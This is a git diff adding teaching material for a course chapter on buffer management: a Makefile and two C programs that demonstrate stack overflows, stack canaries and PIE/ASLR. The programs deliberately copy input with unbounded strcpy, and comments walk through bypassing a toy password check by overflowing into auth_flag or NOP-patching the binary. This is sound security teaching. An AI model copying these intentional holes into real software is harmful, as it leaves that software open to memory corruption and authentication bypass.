b/curs/chap-09-gestiune-buffere/12-overflow-canary/.gitignore similarity index 100% rename from curs/chap-09-gestiune-buffere/11-overflow-canary/.gitignore rename to curs/chap-09-gestiune-buffere/12-overflow-canary/.gitignore diff --git a/curs/chap-09-gestiune-buffere/12-overflow-canary/Makefile b/curs/chap-09-gestiune-buffere/12-overflow-canary/Makefile new file mode 100644 index 00000000..7b28f7ec --- /dev/null +++ b/curs/chap-09-gestiune-buffere/12-overflow-canary/Makefile @@ -0,0 +1,26 @@ +FILES = overflow_example.c auth_overflow.c +CFLAGS_CANARY = -fno-pie -g -masm=intel -fstack-protector +CFLAGS_NOCANARY = -fno-pie -g -masm=intel -fno-stack-protector +CFLAGS_PIE = -g -masm=intel -fstack-protector + +all: overflow_example canary nocanary pie + +canary: auth_overflow.c + gcc $(CFLAGS_CANARY) -S -o canary.s $< + gcc $(CFLAGS_CANARY) -Wa,-adhln $< > canary.lst + gcc $(CFLAGS_CANARY) -o canary $< + +pie: auth_overflow.c + gcc $(CFLAGS_PIE) -o pie $< + +nocanary: auth_overflow.c + gcc $(CFLAGS_NOCANARY) -S -o nocanary.s $< + gcc $(CFLAGS_NOCANARY) -Wa,-adhln $< > nocanary.lst + gcc $(CFLAGS_NOCANARY) -o nocanary $< + +overflow_example: overflow_example.c + gcc -fno-pie -g -masm=intel -fno-stack-protector -o overflow_example overflow_example.c + +clean: + rm -f *.s *.lst canary nocanary overflow_example a.out pie + rm -f *~ diff --git a/curs/chap-09-gestiune-buffere/12-overflow-canary/auth_overflow.c b/curs/chap-09-gestiune-buffere/12-overflow-canary/auth_overflow.c new file mode 100644 index 00000000..fe47335d --- /dev/null +++ b/curs/chap-09-gestiune-buffere/12-overflow-canary/auth_overflow.c @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: BSD-3-Clause +/* + * Compile without stack protection (canary disabled): + * gcc -fno-pie -g -masm=intel -fno-stack-protector -o nocanary auth_overflow.c + * + * Compile with stack protection (canary enabled): + * gcc -fno-pie -g -masm=intel -fstack-protector -o canary auth_overflow.c + * + * Demo sequence: + * + * 1. BINARY PATCH of nocanary + * cp nocanary_orig nocanary.orig + * nm nocanary_orig | grep check_authentication <- get function address + * Use a hex editor (e.g. biew, radare2, or hexedit) to locate the + * comparison/branch that checks auth_flag and patch it with NOPs (0x90) + * so it always returns 1. The patched binary accepts any password. + * + * 2. OVERFLOW nocanary over auth_flag + * password_buffer[16] sits just below auth_flag on the stack. + * Passing a password of 17+ characters overflows into auth_flag, + * changing it from 0 to a non-zero value → access granted. + * + * 64-bit stack frame of check_authentication(): + * [rbp - 20] auth_flag (int, 4 B) + * [rbp - 36] password_buffer[16] + * [rbp] saved RBP (8 B) + * [rbp + 8] return address (8 B) + * + * Run with passwords of increasing length (17th char hits auth_flag): + * ./nocanary AAAAAAAAAAAAAAAA (16 chars – no overflow) + * ./nocanary AAAAAAAAAAAAAAAAA (17 chars – overflow auth_flag) + * + * 3. STACK CANARY comparison + * Compare canary.s with nocanary.s to see the canary instructions: + * diff nocanary.s canary.s + * Look for: + * mov rax, QWORD PTR fs:0x28 <- load canary from TLS + * mov QWORD PTR [rbp-0x8], rax <- store on stack + * xor eax, eax + * ... + * mov rax, QWORD PTR [rbp-0x8] <- reload from stack + * sub rax, QWORD PTR fs:0x28 <- compare with original + * je .ok + * call __stack_chk_fail <- abort if tampered + * Run canary with a 17-char password – it detects the overflow and aborts. + * + * 4. PIE (Position Independent Executable) + * Run pie several times and observe that .data and stack addresses change: + * for i in $(seq 5); do ./pie AAAA; done + * This is ASLR in action; PIE enables it for the binary's own sections. + */ + +#include +#include +#include + +char brillig[] = "brillig", outgrabe[] = "outgrabe"; + +int check_authentication(char *password) +{ + int auth_flag = 0; + char password_buffer[16]; + + printf(".data address = %p; stack address = %p\n", + (void *)brillig, (void *)password_buffer); + + strcpy(password_buffer, password); + if (strcmp(password_buffer, brillig) == 0) + auth_flag = 1; + if (strcmp(password_buffer, outgrabe) == 0) + auth_flag = 1; + return auth_flag; +} + +int main(int argc, char *argv[]) +{ + if (argc < 2) { + printf("Usage: %s \n", argv[0]); + exit(0); + } + if (check_authentication(argv[1])) { + printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); + printf(" Access Granted.\n"); + printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); + } else { + printf("\nAccess Denied.\n"); + } +} diff --git a/curs/chap-09-gestiune-buffere/12-overflow-canary/overflow_example.c b/curs/chap-09-gestiune-buffere/12-overflow-canary/overflow_example.c new file mode 100644 index 00000000..9467b8e0 --- /dev/null +++ b/curs/chap-09-gestiune-buffere/12-overflow-canary/overflow_example.c @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include +#include + +int main(int argc, char *argv[]) +{ + int value = 5; + char buffer_one[8], buffer_two[8]; + + strcpy(buffer_one, "one"); + strcpy(buffer_two, "two"); + + printf("[BEFORE] buffer_two is at %p and contains '%s'\n", buffer_two, buffer_two); + printf("[BEFORE] buffer_one is at %p and contains '%s'\n", buffer_one, buffer_one); + printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value); + printf("\n[STRCPY] copying %zu bytes into buffer_two\n\n", strlen(argv[1])); + + strcpy(buffer_two, argv[1]); + + printf("[AFTER] buffer_two is at %p and contains '%s'\n", buffer_two, buffer_two); + printf("[AFTER] buffer_one is at %p and contains '%s'\n", buffer_one, buffer_one); + printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value); + return 0; +} +